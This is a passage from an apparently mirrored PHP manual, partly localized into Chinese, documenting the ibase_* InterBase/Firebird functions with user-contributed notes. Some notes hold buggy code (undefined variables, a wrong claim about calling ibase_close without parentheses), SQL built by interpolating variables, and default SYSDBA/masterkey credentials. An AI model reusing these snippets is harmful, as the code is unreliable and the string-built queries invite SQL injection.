  $sth=ibase_prepare($conexao,"UPDATE PRODUTOS SET fotografia=? WHERE coditem= '{$coditem}';");
  $trans=ibase_trans();
  ibase_execute($sth,$blob);
  ibase_commit($trans);
  ibase_free_query($sth);
add a note add a note

后退 | 起点 | 前进
ibase_blob_get | 上一级 | ibase_blob_info


ibase_blob_info

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_info -- Return blob length and other useful info

Description

array ibase_blob_info ( resource link_identifier, string blob_id )

array ibase_blob_info ( string blob_id )

Returns an array containing information about a BLOB. The information returned consists of the length of the BLOB, the number of segments it contains, the size of the largest segment, and whether it is a stream BLOB or a segmented BLOB.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_blob_import | 上一级 | ibase_blob_open


ibase_blob_open

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_blob_open -- Open blob for retrieving data parts

Description

resource ibase_blob_open ( resource link_identifier, string blob_id )

resource ibase_blob_open ( string blob_id )

ibase_blob_open() opens an existing BLOB for reading. It returns a BLOB handle for later use with ibase_blob_get() or FALSE on failure.

See also
ibase_blob_close(),
ibase_blob_echo() and
ibase_blob_get().

add a note add a note User Contributed Notes
Kevin Hamilton
28-Feb-2006 05:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.
add a note add a note

后退 | 起点 | 前进
ibase_blob_info | 上一级 | ibase_close


ibase_close

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_close -- Close a connection to an InterBase database

Description

bool ibase_close ( [resource connection_id] )

Closes the link to an InterBase database that's associated with a connection id returned from ibase_connect(). If the connection id is omitted, the last opened link is assumed. Default transaction on link is committed, other transactions are rolled back. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ibase_connect() and ibase_pconnect().

add a note add a note User Contributed Notes
php dot planetmirror dot com at issystems dot co dot nz
23-Dec-2004 05:38
In the preceding note,

$sth = ibase_query($dbh, $stmt);
^^^^ this is a query (or statement handle)

while ($row = ibase_fetch_object($sth)) {
       ^^^^ this is a result

So the end is wrong, because $sth isn't a result

ibase_free_result($sth);  //  <-------
ibase_close($dbh);

It should really read as follows:

ibase_free_result($row);
ibase_free_query($sth);
ibase_close($dbh);
02-Apr-2002 07:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
   .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);
add a note add a note

后退 | 起点 | 前进
ibase_blob_open | 上一级 | ibase_commit_ret


ibase_commit_ret

(PHP 5)

ibase_commit_ret -- Commit a transaction without closing it

Description

bool ibase_commit_ret ( [resource link_or_trans_identifier] )

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed. The transaction context will be retained, so statements executed from within this transaction will not be invalidated. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_close | 上一级 | ibase_commit


ibase_commit

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_commit -- Commit a transaction

Description

bool ibase_commit ( [resource link_or_trans_identifier] )

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_commit_ret | 上一级 | ibase_connect


ibase_connect

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_connect -- Open a connection to an InterBase database

Description

resource ibase_connect ( [string database [, string username [, string password [, string charset [, int buffers [, int dialect [, string role [, int sync]]]]]]]] )

Establishes a connection to an InterBase server. The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI) or 'hostname@' (IPX/SPX), depending on the connection protocol used. username and password can also be specified with PHP configuration directives ibase.default_user and ibase.default_password. charset is the default character set for a database. buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default. dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries.

In case a second call is made to ibase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ibase_close().

例子 1. ibase_connect() example

<?php
    $host = 'localhost:/path/to/your.gdb';

    $dbh = ibase_connect($host, $username, $password);
    $stmt = 'SELECT * FROM tblname';
    $sth = ibase_query($dbh, $stmt);
    while ($row = ibase_fetch_object($sth)) {
        echo $row->email, "\n";
    }
    ibase_free_result($sth);
    ibase_close($dbh);
?>

注: The optional buffers parameter was added in PHP 4.0.0.

注: The optional dialect parameter was added in PHP 4.0.0 and is functional only with InterBase 6 and up.

注: The optional role parameter was added in PHP 4.0.0 and is functional only with InterBase 5 and up.

注: If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

See also ibase_pconnect() and ibase_close().

add a note add a note User Contributed Notes
ag at dividi dot de
20-Sep-2005 08:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
into the windows services file %WINDIR%\\system32\\drivers\\etc\\services
Robert Silvia
05-Dec-2004 09:02
Just to update Simon's note...

Things must have been fixed since Simon wrote that note.
With PHP5 the following example works flawlessly:

$strconnect = 'localhost:/opt/firebird/examples/employee.fdb';

if (!($db=ibase_connect($strconnect, 'sysdba', 'yourpass', 'ISO8859_1', 0, 1)))
   die('Could not connect: ' .  ibase_errmsg());

  $sql  = "SELECT PO_NUMBER, ORDER_STATUS, ITEM_TYPE FROM SALES";
  $cursor = ibase_query($sql);
  $row_array = ibase_fetch_row($cursor);

  print_r($row_array);

  ibase_free_result($cursor);
  ibase_close($db);

Also you CAN get away with the following connection string:
ibase_connect('/opt/firebird/examples/employee.fdb', 'sysdba', 'yourpass')
sam at intranex.ru
05-Aug-2004 07:08
If you get a sloooow work of ibase_connect on Win2003, try to update your FireBird to version 1.5 or above, and your InterBase to version 7.1. Or move back to Win2000 :)
simon at thorndancer dot com
15-Jun-2003 02:22
I found it difficult to get anything working using the current documentation.
While logic would suggest that the format in the docs should work (being based on all the
syntax of other standard database access functions) I had problem after problem. Finally I
found some comments on a newgroup that helped, and this is the result.

This is actual production code (not a mere example). It works.
Don't ask me why it is so different from the official docs.

if ( ibase_connect( $db_filespec,$db_user,$db_pass_word) )
{
   $query  = "SELECT c.id, c.title, c.description ";
   $query .= "FROM collections c ";
   $query .= "WHERE (c.id = $page_id) ";

   $result = ibase_query( $query );

   $row_array = ibase_fetch_row($result);

   $row_fetched = !empty($row_array);

   if ($row_fetched)
   {
       // Extract the row into variables

       $collection_id  = $row_array[0];
       $edit_title      = $row_array[1];
       $edit_desc      = $row_array[2];

       // Standardise the record contents

       $collection_id  = $collection_id + 0;      // force type to numeric
     }

   // Wrap up the database side of things

     ibase_commit();    // note parenthesis but no parameters.

     ibase_close;        // note total lack of parenthesis and parameters !
}

You'll notice that there is no reference to a database handle in this code.
It seems to be implicit when dealing with interbase functions. Certainly, I couldn't
get the code to work when using it explicitly. This makes the documentation
very hard to work with, and any reference to a handle needs to be ignored.

Important: ibase_close doesn't work for me if I put parenthesis after it.
eg:
       ibase_close;        // works
       ibase_close();      // fails
       ibase_close($db);  // fails

Note: the line "if ($row_fetched)" could be replaced with "while ($row_fetched)"
if you need to process more than one record.

All that said, Interbase is a fantastic database to work with and IMHO a much
better choice than something like PostgreSQL if you need to move up from MySQL
to something more industrial strength. Just be sure to RTFM.
anthony at trams dot com
21-Nov-2000 11:44
If you get a message like: 'Dynamic SQL Error SQL error code = -901 feature is not supported', this may be caused by InterBASE client 6.01 accessing a server running 5.x.

Make sure the dialect value is set to '1', like the following:

ibase_connect ('localhost:/usr/db/db.gdb', 'SYSDBA', 'masterkey', 'ISO8859_1', '100', '1' ) ;

That last value is the dialect, but you need the two preceding also, do avoid errors.

Anthony
add a note add a note

后退 | 起点 | 前进
ibase_commit | 上一级 | ibase_db_info


ibase_db_info

(PHP 5)

ibase_db_info -- Request statistics about a database

Description

string ibase_db_info ( resource service_handle, string db, int action [, int argument] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_connect | 上一级 | ibase_delete_user


ibase_delete_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_delete_user -- Delete a user from a security database (only for IB6 or later)

Description

bool ibase_delete_user ( resource service_handle, string user_name )

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

警告

本函数暂无文档，仅有参数列表。

See also ibase_add_user() and ibase_modify_user().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_db_info | 上一级 | ibase_drop_db


ibase_drop_db

(PHP 5)

ibase_drop_db -- Drops a database

Description

bool ibase_drop_db ( [resource connection] )

This functions drops a database that was opened by either ibase_connect() or ibase_pconnect(). The database is closed and deleted from the server. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ibase_connect() and ibase_pconnect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_delete_user | 上一级 | ibase_errcode


ibase_errcode

(PHP 5)

ibase_errcode -- Return an error code

Description

int ibase_errcode ( void )

Returns the error code that resulted from the most recent InterBase function call. Returns FALSE if no error occurred.

See also ibase_errmsg().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_drop_db | 上一级 | ibase_errmsg


ibase_errmsg

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_errmsg -- Return error messages

Description

string ibase_errmsg ( void )

Returns the error message that resulted from the most recent InterBase function call. Returns FALSE if no error occurred.

See also ibase_errcode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_errcode | 上一级 | ibase_execute


ibase_execute

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_execute -- Execute a previously prepared query

Description

resource ibase_execute ( resource query [, mixed bind_arg [, mixed ...]] )

Execute a query prepared by ibase_prepare(). If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

This is a lot more effective than using ibase_query() if you are repeating a same kind of query several times with only some parameters changing.

例子 1. ibase_execute() example

<?php

$dbh = ibase_connect($host, $username, $password);

$updates = array(
    1 => 'Eric',
    5 => 'Filip',
    7 => 'Larry'
);

$query = ibase_prepare($dbh, "UPDATE FOO SET BAR = ? WHERE BAZ = ?");

foreach ($updates as $baz => $bar) {
    ibase_execute($query, $bar, $baz);
}

?>

注: In PHP 5.0.0 and up, this function returns the number of rows affected by the query (if > 0 and applicable to the statement type). A query that succeeded, but did not affect any rows (e.g. an UPDATE of a non-existent record) will return TRUE.

See also ibase_query().

add a note add a note User Contributed Notes
caveman
25-Jan-2003 02:18
ibase_execute only return resource id not the actual result, you need to use ibase_fetch_row or ibase_fetch_object to retrieve actual result.

On the example above given by anthony
it should be like these

 $dbh = ibase_connect ( $host, $username, $password ) ;
 $stmt = 'SELECT * FROM "EMPLOYEE" WHERE "SALARY" = ? AND "DEPT_CD" = ? ;' ;
 $prep = ibase_prepare ( $dbh, $stmt ) ;

 $salary = Array ( "10000", "25000", "33000", "48000" ) ;
 $dept_cd = 'SALES' ;

 foreach ( $salary as $val ) {
   $res = ibase_execute ($prep, $val, $dept_cd);
   $taxForm[$val] = ibase_fetch_row ($res);
}
mclap at ulstu dot ru
08-Sep-2002 09:54
For variable argument list in ibase_execute you can use folowing functions:

For PHP >= 4.0.4:

function db_execute($stmt,$data)
{
   if(!is_array($data))
       return ibase_execute($stmt,$data);
   array_unshift($data,$stmt);
   $rc=call_user_func_array('ibase_execute',$data);
   return $rc;
}

For any version of PHP:
function db_execute($stmt,$data)
{
   if(!is_array($data))
       return ibase_execute($stmt,$data);

   $params = array();
   while( list($k,$v) = each($data) )
       $params[$k] = '$data['.$k.']';
   eval('$rc=ibase_execute($stmt,'.join(',',$params).');');

   return $rc;
}
add a note add a note

后退 | 起点 | 前进
ibase_errmsg | 上一级 | ibase_fetch_assoc


ibase_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

ibase_fetch_assoc -- Fetch a result row from a query as an associative array

Description

array ibase_fetch_assoc ( resource result [, int fetch_flag] )

ibase_fetch_assoc() returns an associative array that corresponds to the fetched row. Subsequent calls will return the next row in the result set, or FALSE if there are no more rows.

ibase_fetch_assoc() fetches one row of data from the result. If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using ibase_fetch_row() or use alias names in your query.

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

See also ibase_fetch_row() and ibase_fetch_object().

add a note add a note User Contributed Notes
karasek ... ceskyserver - dot - cz
26-Apr-2005 03:37
Unlike mysql_fetch_assoc, all indexes of associative array are upper-case.

so, use
$row = ibase_fetch_assoc($result);

echo $row["INDEX"];
not
echo $row["index"];
sir_fred@
14-Dec-2003 10:34
If your php is older than version 4.3.0, you can use the following:

$arr_record = get_object_vars(ibase_fetch_object($sql_result));

which is the same as: $arr_record = ibase_fetch_assoc($sql_result);
add a note add a note

后退 | 起点 | 前进
ibase_execute | 上一级 | ibase_fetch_object


ibase_fetch_object

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_fetch_object -- Get an object from a InterBase database

Description

object ibase_fetch_object ( resource result_id [, int fetch_flag] )

Fetches a row as a pseudo-object from a result_id obtained either by ibase_query() or ibase_execute().

<?php
    $dbh = ibase_connect($host, $username, $password);
    $stmt = 'SELECT * FROM tblname';
    $sth = ibase_query($dbh, $stmt);
    while ($row = ibase_fetch_object($sth)) {
        echo $row->email . "\n";
    }
    ibase_close($dbh);
?>

Subsequent calls to ibase_fetch_object() return the next row in the result set, or FALSE if there are no more rows.

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

See also ibase_fetch_row() and ibase_fetch_assoc().

add a note add a note User Contributed Notes
richard at willmann dot sk
01-Jan-2001 09:29
The loop below is execute for all NOT NULL columns!

$foo = get_object_vars($dbRow);
foreach ($foo as $col=>$val) {
...
}
r dot metzger at spectraweb dot ch
27-Nov-2000 06:55
Interbase not always stores in uppercase. It depends how you created the table. If you use CREATE TABLE xyz("email" varchar(90)) you can get informations with $row->email.

If you use CREATE TABLE xyz(email varchar(90)) you have to use $row->EMAIL.
edemorsy at online dot fr
15-Jul-2000 01:25
I had an "empty result" problem,  'til I realized that InterBase stores field names in upper case, so when printing the result of your query you have to use upper case for your properties ( for example here $row->EMAIL )
add a note add a note

后退 | 起点 | 前进
ibase_fetch_assoc | 上一级 | ibase_fetch_row


ibase_fetch_row

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_fetch_row -- Fetch a row from an InterBase database

Description

array ibase_fetch_row ( resource result_identifier [, int fetch_flag] )

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

ibase_fetch_row() fetches one row of data from the result associated with the specified result_identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent calls to ibase_fetch_row() return the next row in the result set, or FALSE if there are no more rows.

fetch_flag is a combination of the constants IBASE_TEXT and IBASE_UNIXTIME ORed together. Passing IBASE_TEXT will cause this function to return BLOB contents instead of BLOB ids. Passing IBASE_UNIXTIME will cause this function to return date/time values as Unix timestamps instead of as formatted strings.

See also ibase_fetch_assoc() and ibase_fetch_object().

add a note add a note User Contributed Notes
richard at wojthegame dot com
16-Mar-2006 10:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
   $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz
09-Jul-2003 03:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
   if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
   }
   return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
   echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa
add a note add a note

后退 | 起点 | 前进
ibase_fetch_object | 上一级 | ibase_field_info


ibase_field_info

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_field_info -- Get information about a field

Description

array ibase_field_info ( resource result, int field_number )

Returns an array with information about a field after a select query has been run. The array is in the form of name, alias, relation, length, type.

<?php
    $rs = ibase_query("SELECT * FROM tablename");
    $coln = ibase_num_fields($rs);
    for ($i = 0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rs, $i);
        echo "name: ". $col_info['name']. "\n";
        echo "alias: ". $col_info['alias']. "\n";
        echo "relation: ". $col_info['relation']. "\n";
        echo "length: ". $col_info['length']. "\n";
        echo "type: ". $col_info['type']. "\n";
    }
?>

See also: ibase_num_fields().

add a note add a note User Contributed Notes
tiago at econtabil dot com
07-Apr-2006 07:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
   $info_field = ibase_field_info($sql, $j-1 );
   print("Name: " . $info_campo[1]); // print the field name
   print("Type:". $info_campo[4]); //print the field type
   print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.
add a note add a note

后退 | 起点 | 前进
ibase_fetch_row | 上一级 | ibase_free_event_handler


ibase_free_event_handler

(PHP 5)

ibase_free_event_handler -- Cancels a registered event handler

Description

bool ibase_free_event_handler ( resource event )

This function causes the registered event handler specified by event to be cancelled. The callback function will no longer be called for the events it was registered to handle. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ibase_set_event_handler().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_field_info | 上一级 | ibase_free_query


ibase_free_query

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_free_query -- Free memory allocated by a prepared query

Description

bool ibase_free_query ( resource query )

Free a query prepared by ibase_prepare(). 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_free_event_handler | 上一级 | ibase_free_result


ibase_free_result

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_free_result -- Free a result set

Description

bool ibase_free_result ( resource result_identifier )

Frees a result set that has been created by ibase_query() or ibase_execute(). 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_free_query | 上一级 | ibase_gen_id


ibase_gen_id

(PHP 5)

ibase_gen_id -- Increments the named generator and returns its new value

Description

mixed ibase_gen_id ( string generator [, int increment [, resource link_identifier]] )

警告

本函数暂无文档，仅有参数列表。

Returns new generator value as integer, or as string if the value is too big.

add a note add a note User Contributed Notes
escoric at latinmail dot com
18-Aug-2004 01:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net
28-Apr-2004 07:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]
add a note add a note

后退 | 起点 | 前进
ibase_free_result | 上一级 | ibase_maintain_db


ibase_maintain_db

(PHP 5)

ibase_maintain_db -- Execute a maintenance command on the database server

Description

bool ibase_maintain_db ( resource service_handle, string db, int action [, int argument] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_gen_id | 上一级 | ibase_modify_user


ibase_modify_user

(PHP 4 >= 4.2.0, PHP 5)

ibase_modify_user -- Modify a user to a security database (only for IB6 or later)

Description

bool ibase_modify_user ( resource service_handle, string user_name, string password [, string first_name [, string middle_name [, string last_name]]] )

PHP 4 uses server, dba_user_name and dba_user_password instead of service_handle parameter.

警告

本函数暂无文档，仅有参数列表。

See also ibase_add_user() and ibase_delete_user().

add a note add a note User Contributed Notes
_ex at navigators dot lv
24-Jan-2005 05:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
   $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
   ibase_modify_user($ibserv, $user_name, $password);
   ibase_service_dettach($ibserv);
add a note add a note

后退 | 起点 | 前进
ibase_maintain_db | 上一级 | ibase_name_result


ibase_name_result

(PHP 5)

ibase_name_result -- Assigns a name to a result set

Description

bool ibase_name_result ( resource result, string name )

This function assigns a name to a result set. This name can be used later in UPDATE|DELETE ... WHERE CURRENT OF name statements. 如果成功则返回 TRUE，失败则返回 FALSE。

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
    ibase_name_result($result, "my_cursor");

    $updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

    for ($i = 0; ibase_fetch_row($result); ++$i) {
        ibase_execute($updateqry, $i);
    }
?>

See also ibase_prepare() and ibase_execute().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_modify_user | 上一级 | ibase_num_fields


ibase_num_fields

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ibase_num_fields -- Get the number of fields in a result set

Description

int ibase_num_fields ( resource result_id )

Returns an integer containing the number of fields in a result set.

<?php
    $rs = ibase_query("SELECT * FROM tablename");
    $coln = ibase_num_fields($rs);
    for ($i = 0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rs, $i);
        echo "name: " . $col_info['name'] . "\n";
        echo "alias: " . $col_info['alias'] . "\n";
        echo "relation: " . $col_info['relation'] . "\n";
        echo "length: " . $col_info['length'] . "\n";
        echo "type: " . $col_info['type'] . "\n";
    }
?>

See also: ibase_field_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_name_result | 上一级 | ibase_num_params


ibase_num_params

(PHP 5)

ibase_num_params -- Return the number of parameters in a prepared query

Description

int ibase_num_params ( resource query )

This function returns the number of parameters in the prepared query specified by query. This is the number of binding arguments that must be present when calling ibase_execute().

See also ibase_prepare() and ibase_param_info().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_num_fields | 上一级 | ibase_param_info


ibase_param_info

(PHP 5)

ibase_param_info -- Return information about a parameter in a prepared query

Description

array ibase_param_info ( resource query, int param_number )

Returns an array with information about a parameter after a query has been prepared. The array is in the form of name, alias, relation, length, type.

See also ibase_field_info() and ibase_num_params().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_num_params | 上一级 | ibase_pconnect


ibase_pconnect

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_pconnect -- Open a persistent connection to an InterBase database

Description

resource ibase_pconnect ( [string database [, string username [, string password [, string charset [, int buffers [, int dialect [, string role [, int sync]]]]]]]] )

ibase_pconnect() acts very much like ibase_connect() with two major differences. First, when connecting, the function will first try to find a (persistent) link that's already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection. Second, the connection to the InterBase server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ibase_close() will not close links established by ibase_pconnect()). This type of link is therefore called 'persistent'.

注: buffers was added in PHP 4.0.0.

注: dialect was added in PHP 4.0.0. It is functional only with InterBase 6 and versions higher than that.

注: role was added in PHP 4.0.0. It is functional only with InterBase 5 and versions higher than that.

See also ibase_close() and ibase_connect() for the meaning of parameters passed to this function. They are exactly the same.

add a note add a note User Contributed Notes
houston_roadrunner at yahoo dot com
19-Apr-2006 11:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.
add a note add a note

后退 | 起点 | 前进
ibase_param_info | 上一级 | ibase_prepare


ibase_prepare

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_prepare -- Prepare a query for later binding of parameter placeholders and execution

Description

resource ibase_prepare ( string query )

resource ibase_prepare ( resource link_identifier, string query )

resource ibase_prepare ( resource link_identifier, string trans, string query )

Prepare a query for later binding of parameter placeholders and execution (via ibase_execute()).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ibase_pconnect | 上一级 | ibase_query


ibase_query

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

ibase_query -- Execute a query on an InterBase database

Description

resource ibase_query ( [resource link_identifier, string query [, int bind_args]] )

Performs a query on an InterBase database. If the query raises an error, returns FALSE. If it is successful and there is a (possibly empty) result set (such as with a SELECT query), returns a result identifier. If the query was successful and there were no results, returns TRUE.

例子 1. ibase_query() example

<?php

    $host = 'localhost:/path/to/your.gdb';

    $dbh = ibase_connect($host, $username, $password);
    $stmt = 'SELECT * FROM tblname';

    $sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

注: In PHP 5.0.0 and up, this function will return the number of rows affected by the query for INSERT, UPDATE and DELETE statements. In order to retain backward compatibility, it will return TRUE for these statements if the query succeeded without affecting any rows.

注: If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

See also ibase_errmsg(),
ibase_fetch_row(),
ibase_fetch_object(), and
ibase_free_result().

add a note add a note User Contributed Notes
apolenary at mail dot ru
31-May-2006 09:20
In woking time ibase_qury() and ibase_fetch_row() with many time call thei arise the ERROR -> Fatal error: Maximum execution time of 30 seconds exceeded

ERROR arise in that script:
foreach ($vidtr_list as $vidtr)
{
   foreach ($branches_train as $from)
   {
     foreach ($branches_train as $to)
     {
       if (isset($pricelst_train[$vidtr][$from][$to]['ID']))
       {
   for ($i = 1; $i < 7; $i++)
   {
     $id = $pricelst_train[$vidtr][$from][$to]['ID'];
               $sql_v = "SELECT * FROM P_GET_PRICE_C_VES('$id','$std_train1_ves[$i]')";
